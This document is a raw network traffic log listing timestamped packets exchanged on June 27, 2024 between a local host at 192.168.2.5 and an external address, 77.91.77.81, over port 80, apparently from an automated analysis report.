Jun 27, 2024 19:26:08.222659111 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.222672939 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.222692966 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.222706079 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.222727060 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.222754002 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.222760916 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.222799063 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.222814083 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.222846985 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.222851038 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.222882986 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.222901106 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.222918034 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.222935915 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.222950935 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.222971916 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.222985029 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.223000050 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.223017931 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.223038912 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.223051071 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.223066092 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.223084927 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.223100901 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.223119020 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.223136902 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.223154068 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.223170996 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.223186970 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.223206043 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.223221064 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.223239899 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.223261118 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.223278999 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.223294973 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.223314047 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.223329067 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.223349094 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.223362923 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.223386049 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.223395109 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.223408937 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.223442078 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.223467112 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.223475933 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.223496914 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.223516941 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.223527908 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.223558903 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.223575115 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.223609924 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.235003948 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.235057116 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.235090971 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.235097885 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.235142946 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.235152006 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.235173941 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.235178947 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.235198021 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.235227108 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.235232115 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.235266924 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.235282898 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.235301018 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.235311031 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.235335112 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.235357046 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.235383034 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.235387087 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.235421896 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.235431910 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.235455990 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.235477924 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.235488892 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.235505104 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.235522032 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.235546112 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.235558033 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.235572100 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.235593081 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.235608101 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.235627890 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.235647917 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.235661983 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.235681057 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.235694885 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.235718012 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.235728025 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.235749960 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.235764027 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.235774994 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.235797882 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.235817909 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.235832930 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.235851049 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.235888958 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.248094082 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.248151064 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.248181105 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.248181105 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.248234034 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.248238087 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.248265982 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.248271942 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.248294115 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.248306990 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.248322964 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.248342037 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.248356104 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.248378992 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.248390913 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.248430014 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.293363094 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.293430090 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.293437004 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.293476105 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.293488026 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.293512106 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.293526888 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.293554068 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.293570042 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.293591022 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.293603897 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.293631077 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.293641090 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.293663025 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.293678045 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.293711901 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.312659979 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.312731028 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.312731981 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.312771082 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.312783003 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.312805891 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.312815905 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.312841892 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.312850952 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.312889099 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.312896967 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.312932014 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.312937021 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.312963009 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.312978029 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.312998056 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.313002110 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.313033104 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.313044071 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.313066959 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.313081026 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.313101053 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.313110113 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.313136101 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.313148975 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.313172102 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.313183069 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.313206911 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.313219070 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.313251972 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.313261032 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.313294888 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.313303947 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.313329935 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.313340902 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.313366890 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.313374043 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.313402891 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.313416958 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.313436031 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.313445091 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.313469887 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.313482046 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.313507080 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.313518047 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.313550949 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.313561916 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.313582897 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.313600063 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.313616037 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.313627005 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.313651085 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.313663006 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.313684940 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.313698053 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.313719034 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.313731909 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.313754082 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.313767910 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.313787937 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.313798904 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.313822985 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.313837051 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.313858032 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.313868046 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.313901901 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.313911915 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.313950062 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.313958883 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.313982964 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.313997984 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.314021111 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.314030886 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.314054012 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.314069033 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.314089060 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.314100981 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.314122915 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.314135075 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.314157009 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.314168930 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.314192057 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.314204931 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.314225912 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.314240932 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.314260006 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.314274073 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.314294100 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.314307928 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.314327002 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.314337969 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.314362049 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.314373016 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.314393044 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.314407110 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.314428091 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.314440966 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.314462900 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.314476013 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.314496994 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.314513922 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.314532995 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.314544916 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.314564943 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.314578056 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.314603090 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.314609051 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.314636946 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.314644098 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.314671040 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.314682961 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.314703941 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.314714909 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.314738989 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.314748049 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.314783096 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.314791918 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.314826965 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.314834118 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.314861059 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.314893007 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.314897060 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.314909935 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.314932108 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.314945936 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.314965963 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.314976931 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.315001011 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.315013885 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.315036058 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.315047979 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.315066099 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.315080881 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.315099955 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.315112114 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.315135002 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.315145969 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.315169096 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.315184116 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.315203905 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.315216064 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.315236092 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.315253019 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.315269947 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.315278053 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.315304041 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.315318108 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.315337896 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.315351963 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.315371990 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.315387964 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.315406084 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.315418005 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.315439939 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.315454006 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.315474033 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.315481901 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.315507889 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.315521002 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.315543890 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.315552950 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.315577984 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.315599918 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.315644026 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.337815046 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.337878942 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.337897062 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.337914944 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.337963104 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.337980032 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.338027000 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.338061094 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.338073969 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.338107109 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.338115931 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.338150978 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.338165998 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.338185072 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.338197947 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.338219881 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.338232994 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.338258982 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.338265896 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.338304996 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.338336945 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.338371038 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.338383913 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.338403940 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.338413954 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.338438988 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.338471889 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.338474989 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.338484049 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.338509083 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.338541031 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.338545084 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.338577986 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.338579893 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.338602066 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.338613033 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.338624001 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:08.338653088 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:08.338660002 CEST	49706	80	192.168.2.5	77.91.77.81
